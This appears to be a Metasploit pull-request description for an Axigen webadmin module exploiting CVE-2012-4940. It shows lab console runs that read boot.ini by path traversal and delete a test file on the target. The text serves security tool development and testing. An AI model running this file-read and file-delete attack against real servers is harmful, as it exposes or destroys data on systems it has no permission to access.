Added module for CVE-2012-4940

Tested successfully on Windows 2003 SP2 (Axigen 8.10). Vuln only known to work on Windows.

* Read test:

```
msf  auxiliary(axigen_file_access) > show options

Module options (auxiliary/admin/http/axigen_file_access):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   DEPTH      4                yes       Traversal depth if absolute is set to false
   PASSWORD                    yes       The password to authenticate with
   PATH       \boot.ini        yes       The file to read or delete
   Proxies                     no        Use a proxy chain
   RHOST                       yes       The target address
   RPORT      9000             yes       The target port
   TARGETURI  /                yes       Path to Mutiny Web Service
   USERNAME   admin            yes       The user to authenticate as
   VHOST                       no        HTTP server virtual host

msf  auxiliary(axigen_file_access) > set RHOST 192.168.1.134
RHOST => 192.168.1.134
msf  auxiliary(axigen_file_access) > set PASSWORD password
PASSWORD => password
msf  auxiliary(axigen_file_access) > run

[*] 192.168.1.134:9000 - Trying to login
[+] 192.168.1.134:9000 - Login successful
[*] 192.168.1.134:9000 - Retrieving platform
[+] 192.168.1.134:9000 - Windows platform found
[*] 192.168.1.134:9000 - Retrieving file contents...
[+] 192.168.1.134:9000 - File successfully retrieved and saved on /Users/juan/.msf4/loot/20130313114606_default_192.168.1.134_axigen.webadmin._280584.ini
[*] Auxiliary module execution completed
msf  auxiliary(axigen_file_access) > cat /Users/juan/.msf4/loot/20130313114606_default_192.168.1.134_axigen.webadmin._280584.ini
[*] exec: cat /Users/juan/.msf4/loot/20130313114606_default_192.168.1.134_axigen.webadmin._280584.ini

[boot loader]
timeout=30
default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS
[operating systems]
multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Windows Server 2003, Standard" /noexecute=optout /fastdetect

```

* Delete test (read a file, delete it, read again (no success, file deleted)):

```
msf  auxiliary(axigen_file_access) > set PATH \\test.txt
PATH => \test.txt
msf  auxiliary(axigen_file_access) > run

[*] 192.168.1.134:9000 - Trying to login
[+] 192.168.1.134:9000 - Login successful
[*] 192.168.1.134:9000 - Retrieving platform
[+] 192.168.1.134:9000 - Windows platform found
[*] 192.168.1.134:9000 - Retrieving file contents...
[+] 192.168.1.134:9000 - File successfully retrieved and saved on /Users/juan/.msf4/loot/20130313114649_default_192.168.1.134_axigen.webadmin._513801.txt
[*] Auxiliary module execution completed
msf  auxiliary(axigen_file_access) > cat /Users/juan/.msf4/loot/20130313114649_default_192.168.1.134_axigen.webadmin._513801.txt
[*] exec: cat /Users/juan/.msf4/loot/20130313114649_default_192.168.1.134_axigen.webadmin._513801.txt

pwnedmsf  auxiliary(axigen_file_access) > set Action Delete
Action => Delete
msf  auxiliary(axigen_file_access) > run

[*] 192.168.1.134:9000 - Trying to login
[+] 192.168.1.134:9000 - Login successful
[*] 192.168.1.134:9000 - Retrieving platform
[+] 192.168.1.134:9000 - Windows platform found
[*] 192.168.1.134:9000 - Deleting file \test.txt
[+] 192.168.1.134:9000 - File \test.txt deleted
[*] Auxiliary module execution completed
msf  auxiliary(axigen_file_access) > set Action Read
Action => Read
msf  auxiliary(axigen_file_access) > run

[*] 192.168.1.134:9000 - Trying to login
[+] 192.168.1.134:9000 - Login successful
[*] 192.168.1.134:9000 - Retrieving platform
[+] 192.168.1.134:9000 - Windows platform found
[*] 192.168.1.134:9000 - Retrieving file contents...
[-] 192.168.1.134:9000 - Failed to retrieve file
[*] Auxiliary module execution completed

```